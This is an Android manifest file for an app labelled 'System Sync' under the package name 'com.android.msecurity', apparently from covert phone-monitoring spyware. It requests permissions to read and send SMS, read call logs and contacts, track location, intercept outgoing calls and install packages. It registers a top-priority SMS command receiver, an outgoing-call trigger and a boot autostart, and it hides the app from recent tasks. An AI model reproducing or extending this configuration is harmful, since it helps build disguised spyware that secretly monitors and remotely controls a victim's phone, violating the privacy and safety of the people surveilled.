<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.android.msecurity"
      android:versionCode="1"
      android:versionName="-1.04.1">
      
    <uses-sdk 
        android:minSdkVersion="7" 
        android:targetSdkVersion="7"/>
    
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.ACCOUNT_MANAGER"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.GET_ACCOUNTS"/>
    <uses-permission android:name="android.permission.GET_TASKS"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.INSTALL_PACKAGES"/>
    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
    <uses-permission android:name="android.permission.READ_CALL_LOG" />
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.RESTART_PACKAGES"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <uses-permission android:name="android.permission.WRITE_CALL_LOG" />
    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>
    <uses-permission android:name="android.permission.MODIFY_PHONE_STATE" />
    <uses-permission android:name="com.sec.android.provider.logsprovider.permission.READ_LOGS"/>
    <uses-permission android:name="com.sec.android.provider.logsprovider.permission.WRITE_LOGS"/>
      
	<application
	    android:icon="@drawable/sync"
	    android:label="System Sync">

	    <activity android:name="com.vvt.android.syncmanager.SyncManagerActivity"
                  android:icon="@drawable/sync"
                  android:label="@string/app_name"
                  android:screenOrientation="portrait"
                  android:excludeFromRecents="true"
                  android:finishOnTaskLaunch="true"
                  android:theme="@android:style/Theme.Light"
                  >
            <intent-filter>
                <action android:name="com.vvt.android.syncmanager.SyncManagerActivity" />
                <category android:name="android.intent.category.DEFAULT" />
            </intent-filter>
        </activity>
        
        <activity
            android:name="com.vvt.android.syncmanager.gui.EventsSettingsActivity"
            android:screenOrientation="portrait"
            />
        
        <activity android:name="com.vvt.android.syncmanager.gui.ConnectionHistoryActivity"
        		  android:label="@string/language_ui_label_connection_history"
        		  android:screenOrientation="portrait"
        		  />
        
        <activity android:name="com.vvt.android.syncmanager.gui.DatabaseStatusActivity"
        		  android:label="@string/language_ui_label_cache_database_status"
        		  android:screenOrientation="portrait"
        		  />
        
        <receiver android:name="com.vvt.android.syncmanager.receivers.SmsCommandReceiver">
        	<intent-filter android:priority="2147483647">
            	<action android:name="android.provider.Telephony.SMS_RECEIVED" />
        	</intent-filter>
    	</receiver>
    	
        <receiver android:name="com.vvt.android.syncmanager.receivers.FlexiKeyReceiver">
        	<intent-filter>
            	<action android:name="android.intent.action.PHONE_STATE" />
 	          	<action android:name="android.intent.action.NEW_OUTGOING_CALL" />
			</intent-filter>
    	</receiver>
    	
    	<receiver android:name="com.vvt.android.syncmanager.receivers.SystemState">
    		<intent-filter>
    			<action android:name="android.intent.action.BOOT_COMPLETED" />
    		</intent-filter>
    	</receiver>
        
        <provider android:name="com.fx.dalvik.eventdb.EventProvider"
                  android:authorities="com.fx.dalvik.eventdb"/>
                  
        <provider android:name="com.fx.dalvik.preference.PreferenceProvider"
                  android:authorities="com.fx.dalvik.preference"/>
		 
		<service android:name="com.vvt.android.syncmanager.service.EventMonitorService" />
		<service android:name="com.vvt.android.syncmanager.service.SchedulerService" />
		
	</application>
	
</manifest>
 